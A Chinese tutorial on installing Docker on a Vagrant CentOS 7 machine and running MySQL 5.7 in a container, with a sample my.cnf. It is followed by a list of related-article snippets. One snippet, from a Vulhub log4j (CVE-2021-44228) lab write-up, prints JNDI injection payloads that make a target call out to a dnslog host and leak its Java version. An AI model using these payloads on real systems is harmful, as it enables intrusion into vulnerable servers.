Vagrant CentOS7 安装 Docker 及使用 Docker 安装 MySQL

1、安装 Docker

        1.1、删除旧版本

sudo yum remove docker \docker-client \docker-client-latest \docker-common \docker-latest \docker-latest-logrotate \docker-logrotate \docker-engine

        1.2、安装必要的依赖包

sudo yum install -y yum-utils

        1.3、配置源地址,即告诉系统去哪里下载 Docker

sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

        1.4、安装Docker引擎、客户端、容器等

sudo yum install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

        1.5、启动Docker

sudo systemctl start docker

        1.6、检查 Docker 版本查看是否安装启动成功

docker -v

        1.7、设置 Docker 开机启动

sudo systemctl enable docker

        1.8、配置镜像加速

                1.8.1、创建或修改 vi /etc/docker/daemon.json 文件

                1.8.2、修改为如下形式

{"registry-mirrors": ["https://registry.hub.docker.com","http://hub-mirror.c.163.com","https://mirror.baidubce.com","https://docker.mirrors.sjtug.sjtu.edu.cn","https://docker.nju.edu.cn"]}

                 1.8.3、加载重启 Docker

systemctl restart docker

2、安装 MySQL

        2.1、下载镜像文件

        2.2、在主机上创建三个文件夹,分别是挂载日志文件的文件夹 /mydata/mysql/log,挂载数据文件的文件夹 /mydata/mysql/data,挂载配置文件的文件夹 /mydata/mysql/conf

        2.3、在文件夹 /mydata/mysql/conf 下创建配置文件 my.cnf,内容参考

[mysqld]  # 基础设置  
basedir=/var/lib/mysql  
datadir=/var/lib/mysql/data  
socket=/var/lib/mysql/mysql.sock  
user=mysql  
port=3306  # 字符集和排序规则  
character-set-server=utf8mb4  
collation-server=utf8mb4_unicode_ci  # 日志  
log-error=/var/log/mysql/error.log  
general_log_file=/var/log/mysql/general.log  
general_log=0  
slow_query_log=0  
slow_query_log_file=/var/log/mysql/mysql-slow.log  
long_query_time=2  
log_queries_not_using_indexes=0  # 缓存和性能调优  
key_buffer_size=16M  
max_allowed_packet=16M  
thread_stack=192K  
thread_cache_size=8  
query_cache_type=0  
query_cache_size=0  
query_cache_limit=1M  
table_open_cache=2000  
tmp_table_size=32M  
max_heap_table_size=32M  # InnoDB 设置  
innodb_buffer_pool_size=128M  
innodb_log_file_size=25M  
innodb_log_buffer_size=8M  
innodb_file_per_table=1  
innodb_flush_log_at_trx_commit=1  
innodb_flush_method=O_DIRECT  # 网络设置  
bind-address=0.0.0.0  
skip-networking=0  # 安全设置  
# 禁用 root 远程登录(注释掉或设置为 localhost)  
# bind-address = 127.0.0.1  # 允许的最大连接数  
max_connections=151  # SQL 模式  
sql_mode="STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION"  # 其他的 MySQL 特定设置...  # [mysqld_safe]  
# log-error=/var/log/mysqld.log  
# pid-file=/var/run/mysqld/mysqld.pid  # [client]  
# socket=/var/lib/mysql/mysql.sock  
# default-character-set=utf8mb4  # [mysql]  
# default-character-set=utf8mb4  # 请注意:上面的设置只是一个示例,并可能需要根据你的具体环境和需求进行调整。  
# 在进行任何更改之前,请确保备份你的 my.cnf 文件,并了解每个设置的作用。

        2.4、创建实例并启动

docker run -p 3306:3306 --name mysql \
-v /mydata/mysql/log:/var/log/mysql \
-v /mydata/mysql/data:/var/lib/mysql \
-v /mydata/mysql/conf:/etc/mysql/conf.d \
-e MYSQL_ROOT_PASSWORD=你的密码 \
-d mysql:5.7

-p 3306:3306 将容器的3306端口映射到主机的3306端口
-v /mydata/mysql/log:/var/log/mysql 将日志文件挂载到主机
-v /mydata/mysql/data:/var/lib/mysql 将数据文件挂载到主机
-v /mydata/mysql/conf:/etc/mysql/conf.d 将配置文件挂载到主机
-e MYSQL_ROOT_PASSWORD=密码 初始化 root 用户的密码 

        2.5、设置 MySQL 自启动

docker update --restart=always 容器ID 或容器名称

        2.6、以交互模式运行 MySQL 进行测试

docker exec -it 容器 ID 或者容器名称 /bin/bash

        2.7、连接数据库

mysql -u root -p

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/831289.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spark RDD的分区与依赖关系

Spark RDD的分区与依赖关系 RDD分区 RDD,Resiliennt Distributed Datasets,弹性式分布式数据集,是由若干个分区构成的,那么这每一个分区中的数据又是如何产生的呢?这就是RDD分区策略所要解决的问题,下面我…

<Linux> 权限

目录 权限人员相对于文件来说的分类更改权限文件的拥有者与所属组 权限 权限是操作系统用来限制对资源访问的机制,权限一般分为读、写、执行。系统中的每个文件都拥有特定的权限、所属用户及所属组,通过这样的机制来限制哪些用户、哪些组可以对特定文件…

VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了,环境搭建不讲,网上其他文章很好。 访问该环境: POC 构造(任选其一): ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…

双向链表专题

文章目录 目录1. 双向链表的结构2. 双向链表的实现3. 顺序表和双向链表的优缺点分析 目录 双向链表的结构双向链表的实现顺序表和双向链表的优缺点分析 1. 双向链表的结构 注意: 这⾥的“带头”跟前面我们说的“头节点”是两个概念,带头链表里的头节点…

C#描述-计算机视觉OpenCV(3):重映射

C#描述-计算机视觉OpenCV(3):重映射 前言色彩波形图像重映射 前言 C#描述-计算机视觉OpenCV(1):基础操作 C#描述-计算机视觉OpenCV(2):图像处理 在前文中,描…

UI-Diffuser——使用生成性人工智能的UI原型设计

概述。 移动UI是影响参与度的一个重要因素,例如用户对应用的熟悉程度和使用的便利性。如果你有一个类似的应用程序,你可能会选择一个具有现代、好看的设计的应用程序,而不是一个旧的设计。然而,要从头开始研究什么样的UI最适合应…

Java中使用Redis实现分布式锁的三种方式

1. 导语 随着软件开发领域的不断演进,并发性已经成为一个至关重要的方面,特别是在资源跨多个进程共享的分布式系统中。 在Java中,管理并发性对于确保数据一致性和防止竞态条件至关重要。 Redis作为一个强大的内存数据存储,为在Java应用程序中实现分布式锁提供了一种高效的…

静态库、动态库回顾

回顾一下库相关的知识点&#xff0c;总结备忘一下。在某种情况下&#xff0c;你有了如下的代码&#xff0c;结构如下 //pra.h #include <stdio.h> void test_01(); //pra.c #include "pra.h" void test_01() {printf("xxxxxxx----->%s %s()\n",…

typescript类型检查和原始类型

typescript类型检查和原始类型 类型检查 非严格类型是typescript默认的类型检查模式&#xff0c;在该模式下&#xff0c;类型检查的规则相对轻松&#xff0c;不会对undefined和null值做过多的限制&#xff0c;允许将undefined和null值赋给string类型的变量。进行JavaScript代…

【ChatGPT with Date】使用 ChatGPT 时显示消息时间的插件

文章目录 1. 介绍2. 使用方法2.1 安装 Tampermonkey2.2 安装脚本2.3 使用 3. 配置3.1 时间格式3.2 时间位置 4. 反馈5. 未来计划6. 开源协议7. 供给开发者自定义修改脚本的文档7.1 项目组织架构7.2 定义新的 Component(1) 定义一个新的 Component 类(2) 注册该 Component 7.3 一…

ICode国际青少年编程竞赛- Python-1级训练场-基本操作

ICode国际青少年编程竞赛- Python-1级训练场-基本操作 1、 Dev.step(3)2、 Dev.step(1)3、 Dev.step(7)4、 Dev.step(-1)5、 Dev.step(-5)6、 Dev.step(3) Dev.step(-8)7、 Dev.turnRight() Dev.step(1)8、 Dev.turnLeft() Dev.step(1)9、 Dev.step(4) Dev.tur…

自动找出字符串中有符号数字

需求 代码 class Solution:def myAtoi(self, s: str) -> int:s s.strip() # 删除首尾空格if not s: return 0 # 字符串为空则直接返回res, i, sign 0, 1, 1int_max, int_min, bndry 2 ** 31 - 1, -2 ** 31, 2 ** 31 // 10if s[0…

2024年 Java 面试八股文——SpringMVC篇

目录 1.简单介绍下你对springMVC的理解? 2.说一说SpringMVC的重要组件及其作用 3.SpringMVC的工作原理或流程 4.SpringMVC的优点 5.SpringMVC常用注解 6.SpringMVC和struts2的区别 7.怎么实现SpringMVC拦截器 8.SpringMvc的控制器是不是单例模式&#xff1f;如果是&am…

B树:原理、操作及应用

B树&#xff1a;原理、操作及应用 一、引言二、B树概述1. 定义与性质2. B树与磁盘I/O 三、B树的基本操作1. 搜索&#xff08;B-TREE-SEARCH&#xff09;2. 插入&#xff08;B-TREE-INSERT&#xff09;3. 删除&#xff08;B-TREE-DELETE&#xff09; 四、B树的C代码实现示例五、…

蓝桥杯练习系统(算法训练)ALGO-953 混合积

资源限制 内存限制&#xff1a;256.0MB C/C时间限制&#xff1a;1.0s Java时间限制&#xff1a;3.0s Python时间限制&#xff1a;5.0s 问题描述 众所周知&#xff0c;人人都在学习线性代数&#xff0c;既然都学过&#xff0c;那么解决本题应该很方便。   宇宙大战中&…

如何在postman上提交文件格式的数据

如何在postman上提交文件格式的数据 今天在写一个文件上传的功能接口时&#xff0c;想用postman进行提交&#xff0c;花了些时间才找到在postman提交文件格式的数据。记录一下吧&#xff01; 1.打开postman&#xff0c;选择POST提交方式&#xff0c;然后在Params那一行的Head…

数据分析--客户价值分析RFM(K-means聚类/轮廓系数)

原数据 import os import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns from sklearn import metrics ### 数据抽取&#xff0c;读⼊数据 df pd.read_csv("customers1997.csv") #相对路径读取数据 print(df.info()) pr…

WPF之自定义绘图

1&#xff0c;创建自定义控件类 class CustomDrawnElement:FrameworkElement{public static readonly DependencyProperty BackgroundColorProperty;static CustomDrawnElement(){FrameworkPropertyMetadata meta new FrameworkPropertyMetadata(Colors.SkyBlue);meta.Affects…

Python-------实现人生重开模拟器

人生重开模拟器 代码展示:实现思路序言一、设置初始属性1.游戏标题2.属性初始化 二、设置角色性别三、设置角色出生点四、针对每一年的岁数&#xff0c;自动生成人生经历总结 代码展示: # 人生重开模拟器 import random import sys import timeprint(------------------------…

服务器IP选择

可以去https://ip.ping0.cc/查看IP的具体情况 1.IP位置--如果是国内用&#xff0c;国外服务器的话建议选择日本&#xff0c;香港这些比较好&#xff0c;因为它们离这里近&#xff0c;一般延时低&#xff08;在没有绕一圈的情况下&#xff09;。 不过GPT的话屏蔽了香港IP 2. 企…